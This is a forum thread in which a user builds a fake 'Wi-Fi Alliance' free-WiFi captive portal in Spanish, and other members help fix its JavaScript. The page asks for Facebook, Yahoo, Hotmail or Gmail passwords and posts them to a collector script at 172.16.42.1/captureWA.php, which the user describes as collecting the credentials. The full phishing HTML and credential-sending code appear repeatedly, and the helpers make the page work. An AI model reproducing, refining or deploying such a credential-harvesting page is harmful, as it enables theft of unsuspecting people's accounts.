How to get a working "required" fields on android devices?

[daniboy92]

Hi all,

I want to make a html web with two fields and a login button. I make this

<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>

These fields are required, what works with all browsers except Safari. Now i need to make these fields obligatory for android devices...
I find this references:
1) http://stackoverflow.com/questions/21209952/android-webview-html-form-required-fields
2) http://stackoverflow.com/questions/24647180/submitting-hidden-field-data-on-android-ios-browsers-does-not-work

They say html web need a javascript function to get a working required fields on android devices.
I have no idea with javascript, someone can help me with this?

All my html code:

<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.
Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>

<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />

<form action="http://172.16.42.1/captureWA.php" method="post">
<fieldset>
<table width="320">
<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
<tr>
<td><img src="/images/facebooklogo.png" /></td>
<td><img src="/images/yahoologo.jpg"/></td>
<td><img src="/images/hotmaillogo.jpg"/></td>
<td><img src="/images/gmaillogo.png"/></td>
</tr>
<tr>
</tr>
<tr></tr>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="facebook" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="yahoo" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="hotmail" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="gmail" /></td>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />

</fieldset>
</form>
</center>
</body>
</html>

[cooper]

I think the idea is that you clean out the form tag and only provide an onSubmit which references a javascript function that inspects the fields and does the actual submitting if all is ok.

So:

<script>
    function validate() {
        if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
            alert("Please fill in all form fields");
        } else {
            // Post the data
        }
    }
</script>

<form onSubmit="validate()">...

For the posting of the data, look here

Edited October 9, 2014 by Cooper

[daniboy92]

But... Clean it completely? I ask this because 172.16.42.1/captureWA.PHP aims to a file who collects my credentials.

I'm a little confuse, because I don't speak English very well (and Google translate doesn't help always) and don't know nothing about Javascript. Can you explain that more easily?

Thanks!!!

[cooper]

Looking at the problem and your existing code a little longer, let's try this slightly differently.

Change your submit elements to simple buttons. Old:

<input type="submit" onclick="sendInfo();return false;" value="Login" name="facebook" />

New:

<button name="facebook" onclick="sendInfo();return false;">Login</button>

That sendInfo function would check if the form fields contain data as you require. If it's happy with the field contents it can simply do:

document.forms[0].submit()

to submit the form.

[daniboy92]

Thanks! I tried you tips, implement this:

<td align=center ><button name="facebook" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="yahoo" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="hotmail" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="gmail" onclick="sendInfo();return false;">Login</button></td>

And this:

<form onSubmit="validate()" action="http://172.16.42.1/captureWA.php" method="post">...

And this:

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {

alert("Por favor rellene correctamente las casillas");

} else {

// Post the data

}

}

Final result:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<script type="text/javascript">

function ajaxRequest() {

if (window.XMLHttpRequest) {

return new XMLHttpRequest();

} else if (window.ActiveXObject) {

return new ActiveXObject("Microsoft.XMLHTTP");

} else {

return false;

}

}

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {

alert("Por favor rellene correctamente las casillas");

} else {

// Post the data

}

}

function sendInfo() {

var xmlhttp = new ajaxRequest();

var usernamevalue=encodeURIComponent(document.getElementById("username").value);

var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);

var passwordvalue=encodeURIComponent(document.getElementById("password").value);

if (emailvalue != null && emailvalue != "") {

var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;

xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.send(parameters);

document.getElementById("results").innerHTML="&iexclGracias!";

window.location = document.getElementById("redirect").value;

} else {

document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";

}

}

</script>

<head>

<title>Internet Gratis | Wi-Fi Alliance</title>

</head>

<body>

<center>

<br />

<img src="/images/wifi-alliance.png" width="20%"><br />

<br />

<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.

Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>

<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />

<form onSubmit="validate()" action="http://172.16.42.1/captureWA.php" method="post">

<fieldset>

<table width="320">

<tr>

<td><label>Email</label></td>

<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />

<td><label>Contrase&ntildea</label></td>

<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />

</tr>

<tr>

<td><img src="/images/facebooklogo.png" /></td>

<td><img src="/images/yahoologo.jpg"/></td>

<td><img src="/images/hotmaillogo.jpg"/></td>

<td><img src="/images/gmaillogo.png"/></td>

</tr>

<td align=center ><button name="facebook" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="yahoo" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="hotmail" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="gmail" onclick="sendInfo();return false;">Login</button></td>

</table>

<input type="hidden" id="redirect" name="redirect" value="$authtarget" />

</fieldset>

</form>

</center>

</body>

</html>

I can't get this html works on android devices, they can pass trought my captive portal.

I don't know what i miss, i hope you can help me.

Edited October 9, 2014 by daniboy92

[newbi3]

put your validate function onto your buttons

[daniboy92]

put your validate function onto your buttons

Can I use validate() and sendInfo() at same time onto my buttons?

[newbi3]

    function validate() {
        if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
            // The fields are empty so alert them
            alert("Por favor rellene correctamente las casillas");
            return false;
        } else {
            // They typed in information so send the info
            sendInfo();
        }
    }

You want to check and make sure that the username and password fields are not empty and if they are you are popping up a message. If they have put stuff in the fields then you want to send info. Go head and replace your validate function with mine.

Now that validate is calling sendInfo() you know longer need to call it onclick, Instead you want to call validate.

<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>

I highly recommend you go through http://www.w3schools.com/ and learn HTML, JavaScript, and CSS

Edited October 10, 2014 by newbi3

[daniboy92]

I applied you code newbi3, and this is how it looks:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<script type="text/javascript">

function ajaxRequest() {

if (window.XMLHttpRequest) {

return new XMLHttpRequest();

} else if (window.ActiveXObject) {

return new ActiveXObject("Microsoft.XMLHTTP");

} else {

return false;

}

}

function sendInfo() {

var xmlhttp = new ajaxRequest();

var usernamevalue=encodeURIComponent(document.getElementById("username").value);

var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);

var passwordvalue=encodeURIComponent(document.getElementById("password").value);

if (emailvalue != null && emailvalue != "") {

var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;

xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.send(parameters);

document.getElementById("results").innerHTML="&iexclGracias!";

window.location = document.getElementById("redirect").value;

} else {

document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";

}

}

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {

// The fields are empty so alert them

alert("Por favor rellene correctamente las casillas");

return false;

} else {

// They typed in information so send the info

sendInfo();

}

}

</script>

<head>

<title>Internet Gratis | Wi-Fi Alliance</title>

</head>

<body>

<center>

<br />

<img src="/images/wifi-alliance.png" width="20%"><br />

<br />

<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.

Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.

</Strong></p>

<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!.

</Strong></p>

<form action="http://172.16.42.1/captureWA.php" method="post">

<fieldset>

<table width="320">

<tr>

<td><label>Email</label></td>

<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />

<td><label>Contrase&ntildea</label></td>

<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />

</tr>

<tr>

<td><img src="/images/facebooklogo.png" /></td>

<td><img src="/images/yahoologo.jpg"/></td>

<td><img src="/images/hotmaillogo.jpg"/></td>

<td><img src="/images/gmaillogo.png"/></td>

</tr>

<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="yahoo" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="hotmail" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="gmail" onclick="validate();return false;">Login</button></td>

</table>

<input type="hidden" id="redirect" name="redirect" value="$authtarget" />

</fieldset>

</form>

</center>

</body>

</html>

But for some reasons it doesn't work. When i login with with an empty login it pass through my web. It's strange but when i click "login" with empty fields it doesn't show any alert or popup "Por favor rellene correctamente las casillas":

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {

// The fields are empty so alert them

alert("Por favor rellene correctamente las casillas");

return false;

} else {

// They typed in information so send the info

sendInfo();

}

And this alerts too:

function sendInfo() {

var xmlhttp = new ajaxRequest();

var usernamevalue=encodeURIComponent(document.getElementById("username").value);

var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);

var passwordvalue=encodeURIComponent(document.getElementById("password").value);

if (emailvalue != null && emailvalue != "") {

var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;

xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.send(parameters);

document.getElementById("results").innerHTML="&iexclGracias!";

window.location = document.getElementById("redirect").value;

} else {

document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";

}

}

I think there are conflict with this two functions...

It's very very difficult to me learn html or javascript on those webs because i don't speak english very well, i learn testing code by your help, technical english it's a little imposible for me .

Edited October 10, 2014 by daniboy92

[cooper]

In the validate function, make this the very first 2 lines:

alert("Username: " + document.username.value );
alert("Password: " + document.password.value );

When you click any of the buttons you should get 2 pop-ups that show what's in each input field.

If you don't get the pop-ups, the button doesn't call the validate function.

If the pop-ups only show the fixed text and not any field contents, then "document.username.value" or "document.password.value" is not producing the field value for some reason.

[daniboy92]

In the validate function, make this the very first 2 lines:

alert("Username: " + document.username.value );
alert("Password: " + document.password.value );

When you click any of the buttons you should get 2 pop-ups that show what's in each input field.

If you don't get the pop-ups, the button doesn't call the validate function.

If the pop-ups only show the fixed text and not any field contents, then "document.username.value" or "document.password.value" is not producing the field value for some reason.

Added this and nothing happends, i can bypass the login without any popups or alerts. I don't know where is the problem. Let you my actual code:

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<script type="text/javascript">

function ajaxRequest() {

if (window.XMLHttpRequest) {

return new XMLHttpRequest();

} else if (window.ActiveXObject) {

return new ActiveXObject("Microsoft.XMLHTTP");

} else {

return false;

}

}

function sendInfo() {

var xmlhttp = new ajaxRequest();

var usernamevalue=encodeURIComponent(document.getElementById("username").value);

var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);

var passwordvalue=encodeURIComponent(document.getElementById("password").value);

if (emailvalue != null && emailvalue != "") {

var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;

xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlhttp.send(parameters);

window.location = document.getElementById("redirect").value;

}

}

function validate() {

alert("Username: " + document.username.value );

alert("Password: " + document.password.value );

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {

// The fields are empty so alert them

alert("Por favor rellene correctamente las casillas");

return false;

} else {

// They typed in information so send the info

sendInfo();

}

}

</script>

<head>

<title>Internet Gratis | Wi-Fi Alliance</title>

</head>

<body>

<center>

<br />

<img src="/images/wifi-alliance.png" width="20%"><br />

<br />

<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.

Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>

<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />

<form action="http://172.16.42.1/captureWA.php" method="post">

<fieldset>

<table width="320">

<tr>

<td><label>Email</label></td>

<td><input type="text" id="username" name="username" placeholder="Ingrese su email" />

<td><label>Contrase&ntildea</label></td>

<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" />

</tr>

<tr>

<td><img src="/images/facebooklogo.png" /></td>

<td><img src="/images/yahoologo.jpg"/></td>

<td><img src="/images/hotmaillogo.jpg"/></td>

<td><img src="/images/gmaillogo.png"/></td>

</tr>

<tr>

</tr>

<tr></tr>

<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="yahoo" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="hotmail" onclick="validate();return false;">Login</button></td>

<td align=center ><button name="gmail" onclick="validate();return false;">Login</button></td>

</table>

<input type="hidden" id="redirect" name="redirect" value="$authtarget" />

</fieldset>

</form>

</center>

</body>

</html>

Thanks for your support!

[cooper]

I made an HTML file with that exact content and loaded it in Firefox. I then opened the Web Console (Ctrl+Shift+K or somewhere under tools in the browser menu). It displayed the following error when I clicked any of the buttons:

TypeError: document.username is undefined

Conclusion: The validate() function is being called but because that alert contains shitty code (you're welcome) the execution of the script immediately aborts.

Here's the working function:

function validate() {
    if ((document.getElementById("username").value.trim()=="") || (document.getElementById("password").value.trim()=="")) {
        // The fields are empty so alert them
        alert("Por favor rellene correctamente las casillas");
        return false;
    } else {
        // They typed in information so send the info
        sendInfo();
    }
}

Edited October 11, 2014 by Cooper

[daniboy92]

Hahaha, that was all I need!!! Thanks Cooper and Newbi3 for your help, now I have my Web working like I want to be.